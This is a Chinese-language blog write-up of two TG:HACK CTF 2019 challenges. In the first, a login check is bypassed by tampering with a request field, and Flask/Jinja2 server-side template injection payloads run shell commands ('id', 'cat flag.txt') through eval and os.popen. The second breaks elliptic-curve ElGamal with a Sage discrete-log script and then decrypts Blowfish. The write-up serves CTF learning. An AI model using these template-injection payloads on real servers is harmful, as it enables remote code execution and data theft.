Automne's Shadow.

TG:HACK CTF 2019 UnSolved WriteUp

2019/04/25 Share

Crypto Web

挑了几道比赛时不会做的题,分析总结一下。

Wizardschat

提供了一个网站,直接登录会提示没有使用magic,抓包可以看到body里有个has_magic的子段,将其设置为1即可绕过。

登录后是一个类似于留言板的界面

将输入抓包修改为畸形数据

automne

可以看到报错如下图,搜索报错的内容就可以定位到这是Flask框架

automne

Flask框架是存在服务端模板注入(SSTI)漏洞的

经测试发现,登录的用户名位置可以解析类似16这样的代码为16

那么参考下面网址里的poc查看当前用户:
https://github.com/vulhub/vulhub/tree/master/flask/ssti

在用户登录的位置输入下面的脚本:

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

注意同时抓包修改has_magic=1

automne

即可执行id命令

automne

使用下面的payload可以读取flag

1
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag.txt').read()")}}

automne

The Chamber of Secrets

感谢大佬分享:https://github.com/diogoaj/ctf-writeups/tree/master/2019/tghack/crypto/TheChamberOfSecrets

题目给了两部分内容:

1
2
3
4
5
6
7
8
9
public(h, a, b, q, g)
h = (829999038570486 : 549144410878897 : 1)
a = -3
b = 313205882961673
q = 1125899906842597
g = (1115545019992514 : 78178829836422 : 1)
c = ((700253548714057 : 421820716153583 : 1), (470712751668926 : 131989609316847 : 1))

sTokhflo9WHPQB8JHEm0OVG2SwUA/sHaP0yFv9T2kmoZjC5g46eeRM8M8CGRj8bV/NxY4VJ8Ls0=

第一部分内容给了很多参数,符合椭圆曲线密码的特点,尤其是最后的c提供了两组数据,这在ElGamal密码体制里是非常典型的密文提供形式,注意椭圆曲线密码就是基于ElGamal密码体制,该体制的鲁棒性就依赖于离散对数难题。

1
2
3
4
5
6
7
8
9
10
11
key =  SHA256.new()
key.update(secret)

def bf_encrypt(key, message):
bs = Blowfish.block_size
iv = Random.new().read(bs)
cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv)
pad_len = bs - divmod(len(message), bs)[1]
padding = [pad_len]*pad_len
padding = pack('b'*pad_len, *padding)
return base64.b64encode(iv + cipher.encrypt(message + padding))

第二部分则是给了一段Blowfish的加密算法,加密后的明文应该就是第一部分的最后一行:

sTokhflo9WHPQB8JHEm0OVG2SwUA/sHaP0yFv9T2kmoZjC5g46eeRM8M8CGRj8bV/NxY4VJ8Ls0=

但是key未知,明显是要通过第一部分获取。

椭圆曲线密码学还是挺难描述的,我目前也是似懂非懂。
举个例子:
对Zp上的椭圆曲线,变元和系数均在Zp中取值:

y2 mod p = (x3+ax+b) mod p

那么,当a = 1, b = 1, x = 9, y = 7, p = 23时就可以满足上面的方程式。

在椭圆曲线密码学里,q为素数p或者形为2m的整数,就可以定义出Eq(a,b),上面的一组解就被定义成点G = (9,7),并且公钥P = n * G ,其中n为私钥。

那么就可以和第一部分对号入座了。

其中h为公钥,g为一组解,那么由 h = n * G,可离散对数求得私钥n

然后根据提供的两组密文就可以还原明文。

C’ = c1*n
M = c2 - C’

使用sage是可以计算的,直接用参考链接里的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
## ElGamal Elliptic Curve decryption

a = -3
b = 313205882961673
q = 1125899906842597

E = EllipticCurve(Zmod(q), [a, b])

g = E(1115545019992514, 78178829836422)
h = E(829999038570486, 549144410878897)
c1 = E(700253548714057, 421820716153583)
c2 = E(470712751668926, 131989609316847)

x = g.discrete_log(h)

print "[+] x:", x

C_ = c1*x
M = c2 - C_

print "[+] key:", M[0]

还是要运算两三分钟时间的,得到:

root@automne:/Pentest/CTF# sage ecc.sage 
[+] x: 29131765433887
[+] key: 934013602642177

然后使用下面的解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Cipher import Blowfish
from Crypto.Hash import SHA256
import base64

b = "sTokhflo9WHPQB8JHEm0OVG2SwUA/sHaP0yFv9T2kmoZjC5g46eeRM8M8CGRj8bV/NxY4VJ8Ls0="

key = SHA256.new()

# Insert key here
key.update(b"934013602642177")

def bf_encrypt(key, message):
bs = Blowfish.block_size
iv = Random.new().read(bs)
cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv)
pad_len = bs - divmod(len(message), bs)[1]
padding = [pad_len]*pad_len
padding = pack('b'*pad_len, *padding)
return base64.b64encode(iv + cipher.encrypt(message + padding))

def decrypt(key, message):
enc = base64.b64decode(message)
iv = enc[:Blowfish.block_size]
cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv)
return cipher.decrypt(enc[Blowfish.block_size:])

print(decrypt(key.digest(), b))

解密后得到flag:

automne

CATALOG
  1. 1. Wizardschat
  2. 2. The Chamber of Secrets